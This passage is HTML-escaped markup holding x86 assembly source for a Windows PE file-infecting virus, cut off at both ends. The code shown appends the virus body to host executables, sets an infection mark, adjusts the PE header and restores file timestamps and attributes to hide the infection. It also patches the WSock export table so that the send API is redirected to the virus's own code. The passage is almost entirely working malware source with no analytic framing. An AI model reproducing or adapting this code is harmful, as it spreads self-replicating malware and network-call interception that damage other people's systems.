&lt;/span&gt;CopyVirusToEndOfFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, [ebp + mapaddress]&lt;span style=""&gt;                   &lt;/span&gt;; mapaddress&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, [esi + 14h]&lt;span style=""&gt;                          &lt;/span&gt;; add raw data offset&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + Start]&lt;span style=""&gt;                &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;; copy virus&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, (Leap-Start)/4 + 4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cld&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsd&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;UpdatePEHeaderWithChanges:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [ebp + mapaddress]&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov word ptr [esi + 38h], 'll'&lt;span style=""&gt;                &lt;/span&gt;; set infectionmark&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [ebp + PEheader]&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + imagesize]&lt;span style=""&gt;            &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [esi + 50h], eax&lt;span style=""&gt;           &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;; set new imagesize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;--------------------------------[ unmap file ]------------------------------;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;UnmapView:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + mapaddress]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AUnmapViewOfFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CloseMap:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + maphandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACloseHandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filesize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetFilePointer]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetEndOfFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;--------------------------------[ close file ]------------------------------;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CloseFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + myfinddata.fd_ftCreationTime]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetFileTime]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACloseHandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;InfectionError:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + myfinddata.fd_dwFileAttributes]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + myfinddata.fd_cFileName]&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetFileAttributes]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;INFECT_FILE endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;===========================[ ic-hook_api.inc ]=============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HOOK_API proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;LoadWSockExportTableData:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov edi, [ebp + PEheader]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, dword ptr [edi + 78h]&lt;span style=""&gt;                &lt;/span&gt;; rva export table&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, esi&lt;span style=""&gt;                                  &lt;/span&gt;; get RVA&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call RVA_TO_RAW&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 18h]&lt;span style=""&gt;                &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + numberofnames], eax&lt;span style=""&gt;                &lt;/span&gt;; save number of names&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 1Ch]&lt;span style=""&gt;                &lt;/span&gt;; get ra of table with &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call RVA_TO_RAW&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, ecx&lt;span style=""&gt;                                  &lt;/span&gt;; pointers to funtion&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + addressoffunctions], eax&lt;span style=""&gt;           &lt;/span&gt;; addresses&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 20h]&lt;span style=""&gt;                &lt;/span&gt;; get ra of table with&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call RVA_TO_RAW&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, ecx&lt;span style=""&gt;                                  &lt;/span&gt;; pointers to names&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov [ebp+addressofnames],&lt;span style=""&gt;  &lt;/span&gt;eax&lt;span style=""&gt;                &lt;/span&gt;; of functions&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 24h]&lt;span style=""&gt;                &lt;/span&gt;; get ra of table with&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call RVA_TO_RAW&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, ecx&lt;span style=""&gt;                                  &lt;/span&gt;; pointers to ordinals&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp+addressofordinals], eax&lt;span style=""&gt;              &lt;/span&gt;; of functions&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;BeginSendAddressSearch:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [ebp + addressofnames]&lt;span style=""&gt;                       &lt;/span&gt;; search for &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov [ebp + AONindex], esi&lt;span style=""&gt;                     &lt;/span&gt;; API in names&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov edi, [esi]&lt;span style=""&gt;                                &lt;/span&gt;; table&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call RVA_TO_RAW&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;xor ecx, ecx&lt;span style=""&gt;   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;HookSendApi:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;lea ebx, [ebp + ASend]&lt;span style=""&gt;         &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;OkTryAgain:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, ebx&lt;span style=""&gt;                                  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MatchByteNow:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;cmpsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;jne NextOneNow&lt;span style=""&gt;                                &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;cmp byte ptr [esi], 0&lt;span style=""&gt;                         &lt;/span&gt;; did the entire string&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;je YesGotIt&lt;span style=""&gt;                                   &lt;/span&gt;; match ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;jmp MatchByteNow&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;NextOneNow:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;inc cx&lt;span style=""&gt;                                        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add dword ptr [ebp + AONindex], 4&lt;span style=""&gt;             &lt;/span&gt;; get next namepointer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [ebp + AONindex]&lt;span style=""&gt;                     &lt;/span&gt;; in table (4 dwords)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov edi, [esi]&lt;span style=""&gt;                                &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ebx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ebx, [ebp + mapaddress]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call RVA_TO_RAW&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ebx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;jmp OkTryAgain&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;YesGotIt:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;shl ecx, 1&lt;span style=""&gt;                                    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [ebp + addressofordinals]&lt;span style=""&gt;            &lt;/span&gt;; ordinal = nameindex *&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add esi, ecx&lt;span style=""&gt;                                  &lt;/span&gt;; size of ordinal entry&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;xor eax, eax&lt;span style=""&gt;                                  &lt;/span&gt;; + ordinal table base&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov ax, word ptr [esi]&lt;span style=""&gt;                        &lt;/span&gt;; offset of address&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;shl eax, 2&lt;span style=""&gt;                                    &lt;/span&gt;; of function = ordinal&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [ebp + addressoffunctions]&lt;span style=""&gt;           &lt;/span&gt;; * size of entry of&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add esi, eax&lt;span style=""&gt;                                  &lt;/span&gt;; address table&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, dword ptr [esi]&lt;span style=""&gt;                      &lt;/span&gt;; get address&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SaveNewWsockApiAddress:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + woldapiaddress], edi&lt;span style=""&gt;                       &lt;/span&gt;; save it &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ChangeWsock:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [ebp + wnewapiaddress]&lt;span style=""&gt;     &lt;/span&gt;; new api address&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov dword ptr [esi], eax&lt;span style=""&gt;                      &lt;/span&gt;; set it&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HOOK_API endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;===========================[ ic-rva_to_raw.inc ]===========================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RVA_TO_RAW proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;; In:&lt;span style=""&gt;  &lt;/span&gt;edx - RVA to convert&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;; Out: ecx - Pointer to RAW data or NULL if error&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GetRaw:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ebx, [ebp + mapaddress]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + rva2raw], edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, dword ptr [ebx + 3ch]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, ebx&lt;span style=""&gt;                                  &lt;/span&gt;; esi=offset peheader&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov cx, word ptr [esi + 06h]&lt;span style=""&gt;                  &lt;/span&gt;; ecx = nr. of 